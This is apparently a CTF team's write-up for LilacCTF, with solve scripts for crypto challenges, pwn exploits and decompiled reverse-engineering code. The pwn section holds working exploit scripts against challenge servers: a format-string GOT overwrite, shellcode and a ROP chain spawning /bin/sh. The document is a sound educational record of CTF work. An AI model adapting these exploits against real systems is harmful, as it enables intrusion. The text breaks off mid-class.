---
# System prepended metadata

title: Crypto

---

Online link: https://hackmd.io/@Infobahn/H1ME4P4UWg

# Crypto

## nestDLP
Recover exprs
```py=
from sage.all import *

def lift_padic(poly):
    global x, y, Zp
    poly = poly.lift()
    coeffs = [[] for _ in range(3)]
    for i in range(5):
        for j in range(5):
            c = Zp(int(poly.coefficient({x: i, y: j})))
            c = [int(c.expansion(i)) for i in range(3)]
            # coeffs.append(c)
            for k in range(3):
                coeffs[k].append(c[k])
    return coeffs
def read_output():
    global x, y, S
    data = open("output.txt").readlines()
    poly_lst = []
    for i in range(384):
        print(f'{i = }')
        line = data[i + 1].strip()
        poly = S(sage_eval(line, locals={'x': x, 'y': y}))
        # print(f'{poly = }')
        poly_lst.append(poly)
        # break
    return poly_lst


p = 27163626949068993489548065092956573147065690312549243992743181548070229208336863515539631815667214312250392139728067

R = PolynomialRing(Zmod(p ** 3), names="x,y")
x, y = R.gens()
I = R.ideal([x**3 + y**5 + 13 * x * y - 37, y**3 + x**5 + 37 * x - 13])  # noqa: E741
S = R.quotient(I, names=("x,y"))
g = S(x**2 + y**2 + 13 * x + 37 * y + 1337)

Rp = R.change_ring(Zmod(p))
xp, yp = Rp.gens()
Ip = Rp.ideal([xp**3 + yp**5 + 13 * xp * yp - 37, yp**3 + xp**5 + 37 * xp - 13])  # noqa: E741
Sp = Rp.quotient(Ip, names=("x,y"))
gp = Sp(xp**2 + yp**2 + 13 * xp + 37 * yp + 1337)

f0 = xp**3 + yp**5 + 13 * xp * yp - 37
f1 = yp**3 + xp**5 + 37 * xp - 13
g0 = f0.sylvester_matrix(f1, xp).det()
g1 = f0.sylvester_matrix(f1, yp).det()

g0_fac = list(factor(g0.univariate_polynomial()))
order_Sp = lcm([p ** fac.degree() - 1 for fac, _ in g0_fac])

order_S = order_Sp * p**2
vec_mon = vector(S, [x ** i * y ** j for i in range(5) for j in range(5)])
vec_p = vector([p ** i for i in range(3)])
Zp = Qp(p, 3)
# gk = g ** order_Sp
gk = S(343050603991276313671361001769148118763959015693827000939396100915929942585241607166964001633081075427677159440805055611307132768644590883416375710371575126729232146757180388898364623732393894623237767036613591038336230968959931764904390329823952654097516362763276579098425658541450262339997586428546401522734979707300331953110610265307934059119*x**4*y**4 + 7463601198317132689206818492494834835207220964842361243671928821090033869063790631701633047424657628195709701262503306905019854398487234574586476573814379633246766399962926197336955178621933002234167442605070915773450392344644586709643611374381167020841963543466909347826983755070046578253506309465320912145681789162955634192758410689644640441764*x**4*y**3 + 13337159084261389094534492063530452395657741189458499941363314503003249076762747148825872410258163220040816933796880432956453540236679011665770647913154480217211923881056632404072361839494566793383495332335083530711997708895045784643650764729998439013599919852619650977700318606460353654147396889890069407934999562742085293273882671832545315372262*x**3*y**4 + 3796946865698228826889940803188476551598891760833075358090864109409845241901002839092691109299787047386184738603560820653204211939373561746056976871074377896714068284307783785535032924021502628304360787473002800138314515086786260605202563326938837546984351893646661831754464341779341325192113729971388996781959319457167801103800984316265111888522*x**4*y**2 + 7811112389893969937975652746470405296863838646875918343281900970916749749783856453355564225714402754278052822855496493475784255821713267725503752240500775675672361653586189388045056014351252608424374436450942450589978426192222214577726263794277931435707721907855825834576749043329531807457057678855685542051845385514833620855953632137990725650877*x**3*y**3 + 9735424174360748700895825605724311768654945939391945170770911156347377376893235374593582718425553430764651544583026868174174074695287137691926263110728510060579935147263570824680362512990165208104990254963819030818928768645280815534677710740002295381305265838360328525026637012157947306217535455418540380445541996608715587215768133495733641862177*x**2*y**4 + 1496937394133115028020243432704699812072550191660142197203726373964727581129002231866172960903904265599801330691950261292627649260338594741506492301788229057007132807224180051092229219279458813611725540345379810925270971617166160739294570570164781186202268165674200861035340313057157541963619014084383969606501004519224642016898117065706575266619*x**4*y + 8523294257263699813500694427815499199237349491302184838940705274810704339763965506804809094465584988372491453636839820431540892969699233556451670088263377437445207657879285230410851791153703599874344335606067653837155904628469112518179418133691613045806699593076949359791547315718050891346719885875370577912263937830914136358867955337588649017562*x**3*y**2 + 10026348905864968727405294920655253934641667467883996543350226027610286857756564732327827270071663876771935805176103317112736602613569244780178678895995765179160523486370705037699434101921014283844621665190424001986999643171205815400916737402768949789567554717978714571875130065728252731598960149924583830190660459719830809665452165367526548673380*x**2*y**3 + 14984339826617307858269297973226906588068175610681548430404000858900868602371405651286618511627779357794085029210392813087744206977156575390399488093279727705252042507184846925288258697642928485950128539734940652002537624296859698492469560843459207900982750517270810875430425216275129693092886964716928954294107795552856114722037745384999151445724*x*y**4 + 7894574920916210094365294528753043855798351829412876357324525678581933011684630328879274925179228083626640043228053508527713662657747105132507636984518399483003962466925029536572387318455702060691488046548268091465894309785382662937212520599313953706366651020903706379442836189350739582523489265910784317002458566296613400332331095648595143453508*x**4 + 16014499563402383798355087957353634745890833157535525983932084767627639864695495086240180495171251606857448158332014365853356166353805535887291731414271031308096473803261003737732530401184505802887030982080987284507772100785154074235555168473910978875373135030010213891080774486725682678319858939241782019004397510501132341991565184491922402876040*x**3*y + 16456158602512454075387939513899173758984653073708839232037820491829923364554658262466459797192111252004443819952328933826844644747081286037491693727787823996730616813949585060618914177466592292013653188222241401962456775553178000825983592204409326867653336955127173568346063206039455382202020001617777999215957306180072737694931807619593204611704*x**2*y**2 + 3453337573500973327291909005299100807354372234292967211146430605240846326911078158590098957050812364578144596215505018838897022884900156637987540398780875205074359094360565020045509121791590696650198501780667486555886722670679406904365759575027604867250556547270797832024588940916269981543180284276740943448319168887599450855044513536450654403273*x*y**3 + 15266553946502783821661515991495294690485994543217774910827952521617066499096577932503179481876868130468593115034408798567181535584126892181811018919880437280039415557305525309683601658615721084777632335557305540278813243536279379257954622019417716750497956792597504026958972589381579486336371139216550438697804894036682856194629166467897641586639*y**4 + 9365104962916699735342107489936563233185791755328882866669814256813282764255542283929895302829128592022380872060624188091921636989514940594332092187741725559434134682950487126965780807129838545531602633575143654990349707711763797072422091087761635141304631012345993775778711869380210274880417678038014384564750774919693310615321822375661455386819*x**3 + 19450598002128773642927580841474131941693817860069865359007606860780746446524042113796574879210976240233416637877429116118666227346798536328174046462296710025118126873672222771003660604205376781229712390657974212760941106329514761474041688347004318839693960541353604530783980957203258960990451729495168192378559988453737449347527056983389726695647*x**2*y + 5964677852146646884881768210905436229474358669256207934465257391135219384022154624057148607017217764890813621994967627591980945630717572425891445337196655120632407156310569713527490762192108972060991118959609874159382200133151802161807673977380693915952743273727613034127330555141631433322235825572988962172994404417367108903483716064912249155383*x*y**2 + 15684071730193503066724044995198829401924318522963679078071664264193086983843159314802494266412581361660639990264533430418051406427108973514785818908689855596945054214654556245944036743333713503669709232467701055913982715509306127256137206513102484587700659995585497611577273679761161557653251262585527759562874588190949270527229802870528815083155*y**3 + 17396515407376941223556996573981112868771914964380132290467868903156126217341762108222650878063725338154730418276722400306660891353237334811405642802121169219012815137518992204458520949004957149355077841866698234973221250778480166375931917715043726264860544065418553694506653654863809170244671500652496367340190246227833040568259136646024871130333*x**2 + 13848281508844551301382876056885630106061473624867461681062885926853546063384169860615809608973858614037040360206014157277040824911483521241502066687845629820302689282303282825516147951857770892004798634700008078981546935494285111608091383358057753385250284875795034529100890160641677063544540522958098392009593166232849814556083547710521940062173*x*y + 14364688849070027816203958505086703112821918397537784512405273363985429148395468609177144323845151718584814955962522541225623937904702928780918532215227424677764022113720759819131781704008768840795255000503580038184616874991855147812322637136410795400840757801165050898022147247799933870623298592180984192808229837802529400556909188600745830580810*y ** 2 + 7780891264806097641285911599937850234680998863775998532471601487295847920038733838627798950014379685510894849522557722140331905013782104834245256736265354269026344754311299888269398995100698374298455244983785788152011167291143448866729709343392217281926905026778496882649930578595513491973086546536909918393233324763261395101498823468224748940195*x + 12895233080003042797619714101148912291969898288779329449440394598008605498263575836956599226048735731190575725086580180895020063074945922600275865841055605625803945541946059318492072763008941128430769903152099514989556170891513867008150038546064501671984775900453941008724330861411486235536402437592312451853630611304407758783900992671216998754663*y + 9910015623323886456497507851751441553134667928184965903062807248733958104268932060847529965033601121890627692384506714428410529476303596180605528131122269541083408669785649331966489940195356252881676434955886160571802931287087858223096687433830481898620814460315256544312349175290403764532282471192655346174722845180222626705695913871345088004382)
coeff1 = lift_padic(gk)
t0 = coeff1[1][1]
# Get quadratic equation of e through coefficient of y
"""
gk = 1 + x1 * p + x2 * p**2
gke = gk ** e = 1 + e * x1 * p + (e * (e - 1) / 2 * x1**2 + e * x2) * p**2
"""

# Recover e mod p
# e = e_p + k * p

poly_lst = read_output()
e_sol = []
for poly in poly_lst:
    # print(poly.parent())
    gke = poly ** order_Sp
    # print(f'Processing poly...')
    target = int(gke.lift().coefficient({x:0, y:1}))
    e_p = target // p * pow(t0, -1, p) % p

    gke2 = gke * (gk ** (-e_p))
    coeff2 = lift_padic(gke2)
    t1 = coeff2[2][1]
    k = t1 * pow(t0, -1, p) % p
    e_full = e_p + k * p
    e_sol.append(e_full)
    print(f'{e_full = }')
open("sols.txt", "w").write(f'{e_sol = }')
```

Get flag
```py=
#!/usr/bin/env python3.14
import argparse
import ast
import re
from pathlib import Path
from typing import Iterable

from ortools.sat.python import cp_model


def _parse_exps(path: Path) -> list[int]:
    text = path.read_text()
    m = re.search(r"e_sol\s*=\s*(\[.*\])\s*$", text, re.S)
    if m:
        return ast.literal_eval(m.group(1))
    # Fallback: allow raw list literal.
    return ast.literal_eval(text.strip())


def _allowed_patterns(charset: str) -> list[list[int]]:
    if charset == "printable":
        allowed_bytes: Iterable[int] = range(32, 127)
    elif charset == "hex_lower":
        allowed_bytes = b"0123456789abcdef"
    elif charset == "hex_upper":
        allowed_bytes = b"0123456789ABCDEF"
    elif charset == "base64":
        allowed_bytes = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    elif charset == "base64url":
        allowed_bytes = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"
    elif charset == "word":
        allowed_bytes = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
    else:
        raise ValueError(f"unknown charset: {charset}")

    patterns: list[list[int]] = []
    for b in allowed_bytes:
        if isinstance(b, str):
            b = ord(b)
        patterns.append([(b >> (7 - i)) & 1 for i in range(8)])
    return patterns


def main() -> int:
    parser = argparse.ArgumentParser(description="Recover flag from recovered exponents in sols.txt")
    parser.add_argument("--sols", default="sols.txt", type=Path, help="path to sols.txt")
    parser.add_argument(
        "--charset",
        default="printable",
        choices=["printable", "word", "hex_lower", "hex_upper", "base64", "base64url"],
        help="restrict flag bytes to a charset (helps the solver a lot)",
    )
    parser.add_argument("--time-limit", type=float, default=300.0, help="max solve time in seconds")
    parser.add_argument("--workers", type=int, default=8, help="CP-SAT search workers")
    parser.add_argument("--no-solver-log", action="store_true", help="disable CP-SAT progress log")
    args = parser.parse_args()

    exps = _parse_exps(args.sols)
    n = max(e.bit_length() for e in exps)
    if n % 8:
        raise SystemExit(f"bitlength {n} is not a multiple of 8")
    byte_len = n // 8
    w = n // 2 + 1
    bitstrings = [format(e, f"0{n}b") for e in exps]
    weights = [s.count("1") for s in bitstrings]
    rhs = [weights[i] - w for i in range(len(exps))]

    print(f"[+] parsed {len(exps)} exps")
    print(f"[+] message length: {byte_len} bytes ({n} bits)")
    print(f"[+] otp weight w={w}")
    print(f"[+] charset={args.charset}")

    model = cp_model.CpModel()
    x = [model.new_bool_var(f"x{j}") for j in range(n)]

    patterns = _allowed_patterns(args.charset)
    for k in range(byte_len):
        model.add_allowed_assignments([x[8 * k + i] for i in range(8)], patterns)

    for i, bs in enumerate(bitstrings):
        model.add(sum(((1 if ch == "1" else -1) * x[j]) for j, ch in enumerate(bs)) == rhs[i])

    solver = cp_model.CpSolver()
    solver.parameters.max_time_in_seconds = args.time_limit
    solver.parameters.num_search_workers = args.workers
    solver.parameters.cp_model_presolve = True
    solver.parameters.log_search_progress = not args.no_solver_log

    print("[+] solving...")
    res = solver.solve(model)
    print(f"[+] status: {solver.status_name(res)}")
    if res not in (cp_model.OPTIMAL, cp_model.FEASIBLE):
        return 2

    v = 0
    for j in range(n):
        v = (v << 1) | solver.value(x[j])
    msg = v.to_bytes(byte_len, "big")
    flag = b"LilacCTF{" + msg + b"}"
    print(flag.decode("ascii", errors="replace"))

    # Sanity check: every exp must be at Hamming distance w.
    mm = int.from_bytes(msg, "big")
    for i, e in enumerate(exps):
        if (mm ^ e).bit_count() != w:
            raise SystemExit(f"internal check failed at i={i}")
    print("[+] check ok")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

## myRSA

ECM

```python
from sage.all import *
from pwn import *

# io = remote("101.245.90.119", "8089")
# n = int(io.recvline().decode().strip().split(" = ")[1])
# c = int(io.recvline().decode().strip().split(" = ")[1])

# save = []
# for num in range(82, 100):
#     io.sendlineafter(b" > ", str(num).encode())
#     recv = io.recvline().decode().strip()
#     if recv != "🤐":
#         save.append((num, int(recv)))

# print(n)
# print(c)
# print(save)

n = 320463398964822335046388577512598439169912412662663009494347432623554394203670803089065987779128504277420596228400774827331351610218400792101575854579340551173392220602541203502751384517150046009415263351743602382113258267162420601780488075168957353780597674878144369327869964465070900596283281886408183175554478081038993938477659926361457163384937565266894839330377063520304463379213493662243218514993889537829099698656597997161855278297938355255410088350528543369288722795261835727770017939399082258134647208444374973242138569356754462210049877096486232693547694891534331539434254781094641373606991238019101335437
c = 80140760654462267017719473677495407945806989083076205994692983838456863987736401342704400427420046369099889997909749061368480651101102957366243793278412775082041015336890704820532767466703387606369163429880159007880606865852075573350086563934479736264492605192640115037085361523151744341819385022516548746015224651520456608321954049996777342018093920514055242719341522462068436565236490888149658105227332969276825894486219704822623333003530407496629970767624179771340249861283624439879882322915841180645525481839850978628245753026288794265196088121281665948230166544293876326256961232824906231788653397049122767633
save = (96, 34484956620179866074070847926139804359063142072294116788718557980902699327115656987124274229028140189100320603969008330866286764246306228523522742687628880235600852992498136916120692433600681811756379032521946702982740835213837602607673998432757011503342362501420917079002053526006602493983327263888542981905944223306284758287900181549380023600320809126518577943982963226746085664799480543700126384554756984361274849594593385089122492057335848048936127343198814676002820177792439241938851191156589839212021554296197426022622140915752674220260151964958964867477793087927995204920387657229909976501960074230485827919)

E = EllipticCurve(Zmod(n), [0, 95])
G = E(1, save[1])

p = int(gcd(n, list(n * G)[2]))

x = PolynomialRing(ZZ, 'x').gen()
f = x**2 + 5 * x + 7 - ZZ(p)
pp = int(f.roots()[1][0])

q = pp**2 + 3 * pp + 3

r = n // (p * q)

pari.addprimes([p, q, r])

for flag in Zmod(n)(c).nth_root(65537, all=True):
    try:
        print(bytes(ZZ(flag).digits(base=256)[::-1]).decode())
    except:
        continue    
```

## myBlock

Symbolic and Groebner basis
```python
from sage.all import *
from pwn import *
from hashlib import sha3_256

ROUNDS = 4
class myFeistel_symbolic:
  def __init__(self, subkeys):
    self.subkeys = subkeys.copy()

  def cube(self, a):
    return a ** 3
    

  def enc_block(self, L, R, num = ROUNDS):
    for i, k in enumerate(self.subkeys[:num]):
      T = self.cube(L + k)
      new_R = R + T
      new_L = L
      L, R = new_R, new_L
    #   print(i, L.degree())
    return L, R

  def enc(self, data):
    return [self.enc_block(l, r) for l, r in data]  # noqa: E741

  def dec_block(self, L, R, num = ROUNDS):
      for k in self.subkeys[::-1][:num]:
        T = self.cube(R + k)
        L, R = R, L + T
      return L, R
  
  def dec(self, data):
    return [self.dec_block(l, r) for l, r in data]  # noqa: E741

Fp = GF(2 ** 16, 'x', modulus = [int(x) for x in bin(0x1002D)[2:][::-1]])
print(Fp.modulus())
P = PolynomialRing(Fp, [f'rk_{i}' for i in range(8)])
subkeys_v = list(P.gens())
cipher_v = myFeistel_symbolic(subkeys_v)

io = process(["python3", "chall.py"])
# io = remote("101.245.104.7", "8088")
io.sendlineafter(b">", b"674")
pts = eval(io.recvline().decode().strip())
cts = eval(io.recvline().decode().strip())

key_hash = io.recvline().decode().strip()
print("Get data done")
pts_fp = [(Fp.from_integer(pt[0]), Fp.from_integer(pt[1])) for pt in pts]
cts_fp = [(Fp.from_integer(ct[0]), Fp.from_integer(ct[1])) for ct in cts]

pts_fp_4r = [cipher_v.enc_block(*pt_fp, num = 3) for pt_fp in pts_fp]
cts_fp_4r = [cipher_v.dec_block(*ct_fp, num = 4) for ct_fp in cts_fp]

# fs0 = []
# fs1 = []
fs2 = []
for pt_fp_4r, ct_fp_4r in zip(pts_fp_4r, cts_fp_4r):
    fs2.append(pt_fp_4r[0] - ct_fp_4r[1])
print("GB times")
I = Ideal(fs2).groebner_basis()

key = [0] * 8
idx = [0, 1, 2, 4, 5, 6, 7]
for i, poly in enumerate(I): 
    key[idx[i]] = int(list(poly)[1][0].to_integer())

for key3 in range(2**16):
    key[3] = key3
    keybytes = b"".join(key[i].to_bytes(2, "big") for i in range(8))
    if sha3_256(keybytes).digest().hex() == key_hash:
        print(keybytes.hex())
        io.interactive()

# LilacCTF{https://www.youtube.com/watch?v=vnw8zURAxkU}
```
# Pwn

## chuantongxianyan
```py=
#!/usr/bin/env python3.14
# -*- coding: utf-8 -*-

from pwn import *
import re
try:
    from fast_log import *
    update_config(
        log_print_fn=lambda k,v:info("%s: %s"%(k,v)),
        warn_print_fn=lambda k,v:warn("%s: %s"%(k,v))
    )
except: logx = warnx = print

exe = ELF("./pwn_patched", False)
libc = ELF("./libc.so.6", False)
ld = ELF("./ld-linux-x86-64.so.2", False)

context(
    binary=exe,
    log_level="debug",
)

REMOTE_ADDR = "1.95.71.133:8889"
def start(**kwargs):
    if args.REMOTE:
        return remote(*re.split(r":|\s", REMOTE_ADDR), **kwargs)
    else:
        # return gdb.debug([exe.path])
        return process(['./pwn_patched'])

p = start()

sla=p.sendlineafter;sa=p.sendafter;sl=p.sendline;s=p.send
ru=p.recvuntil;rl=p.recvline;r=p.recv
ra = lambda to_skip, rcv_until=b"\n", drop=True: [ru(to_skip), ru(rcv_until, drop=drop)][-1]
safe_link = lambda addr, ptr: (addr >> 12) ^ ptr
ptr_mangle = lambda addr, cookie=0: rol(addr ^ cookie, 17)
ptr_demangle = lambda addr, cookie=0: ror(addr, 17) ^ cookie
ptr_getcookie = lambda mangled, demangled: ptr_demangle(mangled, demangled)
binsh = lambda: next(libc.search(b"/bin/sh\0"))
attach = lambda script=None, api=False: not args.REMOTE and gdb.attach(p, gdbscript=script, api=api)
u32d = lambda data: u32(data.ljust(4, b'\x00'))
u64d = lambda data: u64(data.ljust(8, b'\x00'))

bb = lambda data: data if isinstance(data, bytes) else data.encode()
snum = lambda num: str(num).encode()
hnum = lambda num: hex(num)[2:].encode()

PROMPT = b"> "
choice = lambda num: sla(PROMPT, snum(num))
slp = lambda data: sla(PROMPT, bb(data))

###################
## START EXPLOIT ##
###################

def fmt(msg):
    assert len(msg) <= 0x10
    sa(b"input: \n", bb(msg))
    return r(0x10)

def scratch(byte: int, to: int):
    global argv0_addr, buf_addr
    goal = byte
    if goal > 99:
        from tqdm import trange
        for i in trange(goal):
            fmt(b"%d%5$hhn" + p64(argv0_addr + i))
        fmt(b"%5$hhnAA" + p64(argv0_addr + goal))
        fmt(b"%9$s%5$n" + p64(to))
    elif goal > 0:
        fmt(f"%{goal}c%5$n".encode().ljust(8, b"A") + p64(to))
    else:
        fmt(b"%5$nAAAA" + p64(to))

def break_out():
    fmt(b"%68c%5$n" + p64(exe.address + 0x4030))

attach("""\
brva 0x10EF
# brva 0x10BC
c
""")

pie_leak = int(fmt(b"%1$pA").split(b"A")[0], 16)
exe.address = pie_leak - 0x4020
logx(exe.address)

libc_leak = u64d(fmt(b"%5$sAAAA" + p64(exe.got.snprintf)).split(b"A")[0])
libc.address = libc_leak - libc.sym.snprintf
logx(libc.address)

buf_addr = u64d(fmt(b"%5$sAAAA" + p64(exe.address + 0x4030)).split(b"A")[0])
logx(buf_addr)
assert buf_addr > 0x10000, "Run again"

# move the argv[0] ptr down
fmt(b"%5$hhnAA" + p64(buf_addr + 0x28 + 1))

argv0_addr = int(fmt(b"%9$pA").split(b"A")[0], 16)
logx(argv0_addr)

# p.interactive(); p.close(); exit()

context.log_level = "INFO"
from tqdm import tqdm
to_overwrite = exe.got._exit
new_addr = libc.address + 0xebc81
for i, nval in enumerate(p64(new_addr).rstrip(b"\0")):
    if i > 4:
        for j, val in enumerate(p64(to_overwrite + i).rstrip(b"\0")):
            scratch(val, buf_addr + 0x10 + j)
        fmt(f"%{nval}c%6$hhn\0")
    else:
        scratch(nval, to_overwrite + i)

break_out()

logx(buf_addr, new_addr)
p.interactive()
```

## bytezoo
```py=
#!/usr/bin/env python3.14
# -*- coding: utf-8 -*-

from pwn import *
import re
try:
    from fast_log import *
    update_config(
        log_print_fn=lambda k,v:info("%s: %s"%(k,v)),
        warn_print_fn=lambda k,v:warn("%s: %s"%(k,v))
    )
except: logx = warnx = print

exe = ELF("./pwn_patched", checksec=False)

context(
    binary=exe,
    log_level="debug",
    # terminal="kitty"
)

REMOTE_ADDR = "1.95.113.66:8999"
def start(**kwargs):
    if args.REMOTE:
        return remote(*re.split(r":|\s", REMOTE_ADDR), **kwargs)
    else:
        # return gdb.debug([exe.path])
        return process([exe.path])

p = start()

sla=p.sendlineafter;sa=p.sendafter;sl=p.sendline;s=p.send
ru=p.recvuntil;rl=p.recvline;r=p.recv
ra = lambda to_skip, rcv_until=b"\n", drop=True: [ru(to_skip), ru(rcv_until, drop=drop)][-1]
safe_link = lambda addr, ptr: (addr >> 12) ^ ptr
ptr_mangle = lambda addr, cookie=0: rol(addr ^ cookie, 17)
ptr_demangle = lambda addr, cookie=0: ror(addr, 17) ^ cookie
ptr_getcookie = lambda mangled, demangled: ptr_demangle(mangled, demangled)
binsh = lambda: next(libc.search(b"/bin/sh\0"))
attach = lambda script=None, api=False: not args.REMOTE and gdb.attach(p, gdbscript=script, api=api)
u32d = lambda data: u32(data.ljust(4, b'\x00'))
u64d = lambda data: u64(data.ljust(8, b'\x00'))

bb = lambda data: data if isinstance(data, bytes) else data.encode()
snum = lambda num: str(num).encode()
hnum = lambda num: hex(num)[2:].encode()

PROMPT = b"> "
choice = lambda num: sla(PROMPT, snum(num))
slp = lambda data: sla(PROMPT, bb(data))

###################
## START EXPLOIT ##
###################

code = [
    b"\x6a\x4a", # push 0x4a
    b"\x5b", # pop rbx
    b"\x64\x48\x8b\x5c\xdb\x26", # mov rbx, fs:[rbx+rbx*8+0x26]
    b"\x31\xed", # xor ebp, ebp
    b"\x66\xbd\xd7\x23", # mov bp, 0x23d7
    b"\x48\x8d\x6c\xed\x13", # lea rbp, [rbp+rbp*8+0x13]
    b"\x48\x29\xeb", # sub rbx, rbp
    b"\x89\xc7", # mov edi, eax
    b"\x6a\x4d", # push 0x4d
    b"\x5e", # pop rsi
    b"\x83\xee\x46", # sub esi, 0x46
    b"\x89\xf2", # mov edx, esi
    b"\x6a\x35", # push 0x35
    b"\x58", # pop rax
    b"\x2c\x2b", # sub al, 0x2b
    b"\xff\xd3", # call rbx
    b"\x87\xfe", # xchg esi, edi
    b"\x5f", # pop rdi
    b"\xb6\xff", # mov dh, 0xff
    b"\xff\xd3", # call rbx
]
raw = b"".join(code)

attach("brva 0x195D\nc")
sa(b"work.\n", raw)

part2 = asm(
    shellcraft.open("./flag") + shellcraft.sendfile(1, "rax", 0, 0xff)
)

part2 = b"\x90" * 0x30 + part2
s(part2)

p.interactive()
```

## gate-way

faked r30/fp
by pointing it to where /bin/sh is stored

```python
from pwn import *

# p = process(['./qemu-hexagon', '-d', 'cpu,in_asm', '-D', 'debug.log', '-g', '1234', './pwn']) 
# p = process(['./qemu-hexagon', './pwn'])
p = remote('1.95.71.133', 8888)
# context.log_level = 'debug'

p.sendlineafter(b'Exit.\n', b'1') 
p.sendlineafter(b'Service.\n', b'1') 
p.sendlineafter(b'description\n', b'1.1.1.1|' + p32(0) + p32(0x000214f4) + b'/bin/sh\x00') 

p.sendlineafter(b'Service.\n', b'2')

padding = b'1.1.1.1|' + b'A' * (100 - 4)
payload = padding
payload += p32(0x475f8)
payload += p32(0x000217e4)
payload += p32(0)
payload += p32(221) # execve
payload += p32(0x47600)
payload += p32(0)

p.sendlineafter(b'<<', payload)

p.interactive()
```

# Rev

## ezpython

Extract pyc from main.exe and decompile it using pylingual

```python=
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'main.py'
# Bytecode version: 3.9.0beta5 (3425)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import struct
from crypto import *
from sys import *
import base64
import myalgo
welcome_msg = 'V2VsYzBtMyBUbyBUaGUgV29ybGQgb2YgTDFsYWMgPDM='
input_msg = ':i(G#8T&KiF<F_)F`JToCggs;'
right_msg = 'UmlnaHQsIGNvbmdyYXR1bGF0aW9ucyE='
wrong_msg = 'V3JvbmcgRmxhZyE='
print(b64decode(welcome_msg).decode())
flag = input(a85decode(input_msg).decode())
if not (flag.startswith('LilacCTF{') and flag.endswith('}') and (len(flag) == 26)):
    print(b64decode(wrong_msg).decode())
else:
    flag = flag[9:25]
    res = [761104570, 1033127419, 3729026053, 795718415]
    key = struct.unpack('<IIII', b'1111222233334444')
    input = list(struct.unpack('<IIII', flag.encode()))
    myalgo.btea(input, 4, key)
    if input[0] == res[0] and input[1] == res[1] and (input[2] == res[2]) and (input[3] == res[3]):
        print(b64decode(right_msg).decode())
    else:
        print(b64decode(wrong_msg).decode())

```

```python
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'myalgo.py'
# Bytecode version: 3.9.0beta5 (3425)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import dis
import struct
def MX(y, z, sum, k, p, e):
    return (z >> 5 ^ y >> 2) + (y << 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z)
def btea(v, n, k):
    u32 = lambda x: x & 4294967295
    y = v[0]
    sum = 0
    DELTA = 1163219540
    if n > 1:
        z = v[n - 1]
        q = 6 + 52 // n
        while q > 0:
            q -= 1
            sum = u32(sum + DELTA)
            e = u32(sum >> 2) & 3
            p = 0
            while p < n - 1:
                y = v[p + 1]
                z = v[p] = u32(v[p] + MX(y, z, sum, k, p, e))
                p += 1
            y = v[0]
            z = v[n - 1] = u32(v[n - 1] + MX(y, z, sum, k, p, e))
        return True
    else:
        return False
if __name__ == '__main__':
    print('WOW')

```

```python=
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'crypto.py'
# Bytecode version: 3.9.0beta5 (3425)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

from types import CodeType
import dis
import sys
from myalgo import *
import re
import struct
import binascii
class RC4:
    def __init__(self, key: bytes):
        """\n        初始化 RC4 类\n        :param key: 密钥，字节类型\n        """
        self.key = key
        self.s = list(range(256))
        self._ksa()
    def _ksa(self):
        """\n        密钥调度算法 (Key Scheduling Algorithm, KSA)\n        """
        j = 0
        key_length = len(self.key)
        for i in range(256):
            j = (j + self.s[i] + self.key[i % key_length]) % 256
            self.s[i], self.s[j] = (self.s[j], self.s[i])
    def _prga(self):
        """\n        伪随机数生成算法 (Pseudo-Random Generation Algorithm, PRGA)\n        :yield: 生成的伪随机字节\n        """
        i = j = 0
        while True:
            i = (i + 1) % 256
            j = (j + self.s[i]) % 256
            self.s[i], self.s[j] = (self.s[j], self.s[i])
            yield self.s[(self.s[i] + self.s[j]) % 256]
    def encrypt(self, plaintext: bytes) -> bytes:
        """\n        加密明文\n        :param plaintext: 明文，字节类型\n        :return: 密文，字节类型\n        """
        keystream = self._prga()
        return bytes([p ^ next(keystream) for p in plaintext])
    def decrypt(self, ciphertext: bytes) -> bytes:
        """\n        解密密文\n        :param ciphertext: 密文，字节类型\n        :return: 明文，字节类型\n        """
        return self.encrypt(ciphertext)
class ArrangeSimpleDES:
    def __init__(self):
        self.ip = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7]
        self.ip1 = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25]
        self.E = [32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1]
        self.P = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25]
        self.K = '0111010001101000011010010111001101101001011100110110100101110110'
        self.k1 = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4]
